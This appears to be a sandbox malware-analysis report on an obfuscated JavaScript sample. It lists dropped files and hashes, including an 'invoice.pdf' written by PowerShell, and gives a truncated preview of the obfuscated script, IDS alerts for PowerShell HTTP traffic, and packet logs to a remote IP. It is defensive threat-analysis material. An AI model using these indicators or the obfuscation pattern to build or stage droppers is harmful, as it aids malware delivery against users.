SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRx6:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRO
MD5:	B25B59C8F01565FBE642C0EF9892D88A
SHA1:	0441D773D3D0E546B930C0269AD90AAB2ED1227D
SHA-256:	4E7F4A176FC60DF6E756B0B398415DC689B794F1127D186D591F161DBB2FDBE4
SHA-512:	844534C209290CC4A5E4E813B9F2BD08D82294ECA9FBE54B51CD9B8AD9BCFA56A1049CCD1CBD4BD9474FAC75F4EA4197B8E93330C3C1D272933C33C9CAB82006
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6b2ab889-fcea-4331-8816-23222078490e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a65115dc-0b02-4928-b695-8f87029678c0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDYYIGNPpe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZQ
MD5:	E139E6D53A958755742760CD4A4456CB
SHA1:	C259B619917152498BF74F65E11D03B50E4F80F1
SHA-256:	542A482DF531973AFE108199E6DF1200DB2590E2E2F7B73C5CD428066EF9138E
SHA-512:	36222C1C5AD31244D808331760A7BEA22C20F3664709D0786260B538578CA184EF2634E844D682B92DEA9ACDEF3EA700B1C7C4972BE97B8C80ADF3945A92858B
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a7c3603a-292c-4087-bfef-81d7617c167a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c9e1bad0-1c5f-4768-a163-2084c0335bee.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16860), with CRLF line terminators
Entropy (8bit):	4.942223767264388
TrID:
File name:	340651472865228929.js
File size:	20'425 bytes
MD5:	ec858c4f7544df829d24c63c67e0916b
SHA1:	e074010db5cdfbee6757190be3684249192af595
SHA256:	a02c5aec566e20850781c83c6d5a948791a87096cabb4f5046702e85bf5e987b
SHA512:	d1bed4415e6940ccb3d095cb64001edcf124785efba523fdaf6fc07ca15869626261a733225af5203c36566e69d21f530156bffa41c23dfb854ca8d9756d7229
SSDEEP:	384:5oONBfGhnIglZstJtXgygcL/qSIfQLHJDjA913TwX2X3FOX3wrX9qHNzqPEhtJg2:5o2XgygcL/qSIfQLHJDjA913TwX2X3Fs
TLSH:	789278501284D5BB99F281B18B7940D5BA53820C44E41CE9FFB734CA5DEB6A168FF873
File Content Preview:	function ylikonef(){xrbit=[1031,3079,5127,4103,2055,3072];var gygrmkn=this[zlvgmffwm+peauyc+ibdmddj+qqvrkhtvx+dxarl+wckygkew+eeetruog+pblvtrhl](this[bjhsc+uliykls+hrfgef+ibdmddj+uuowckmte+zlvgmffwm+pblvtrhl][zsrgyimin+ibdmddj+dxarl+peauyc+pblvtrhl+dxarl+j

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:55:39.460469+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49700	193.143.1.205	80	TCP
2025-01-10T23:55:41.807496+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:55:38.659843922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:38.664783001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:38.664858103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:38.667810917 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:38.672614098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460400105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460417032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460429907 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460457087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460469007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.460478067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460490942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460501909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460520029 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460526943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460530043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.460546970 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.460561037 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.460577011 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.465389967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.510634899 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.514600039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.514615059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.514688969 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.580487013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580504894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580517054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580637932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.580651999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580708981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580741882 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.580760956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.580780029 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.581059933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581070900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581113100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.581183910 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581254005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581264973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581278086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581309080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.581334114 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.581830978 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581891060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581907988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581919909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581927061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.581934929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.581969976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.582690954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.582732916 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.582740068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.582745075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.582776070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.582786083 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.582787991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.582834005 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.583569050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.635638952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.642721891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.677751064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.677764893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.677786112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.677797079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.677851915 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.677884102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.700716972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.700741053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.700753927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.700767040 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.700778961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.700797081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.700831890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.700988054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701153994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701167107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701200008 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701216936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701236963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701250076 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701262951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701263905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701306105 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701622963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701667070 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701699972 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701806068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701818943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701833010 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701858997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701885939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701889038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701899052 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701910019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701924086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.701935053 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.701965094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.702665091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702685118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702699900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702737093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702740908 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.702748060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702760935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702771902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.702775002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702788115 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.702797890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.702824116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.703641891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703655005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703668118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703702927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 10, 2025 23:55:39.703790903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703803062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703814030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703830957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703839064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 10, 2025 23:55:39.703849077 CET	49700	80	192.168.2.7	193.143.1.205
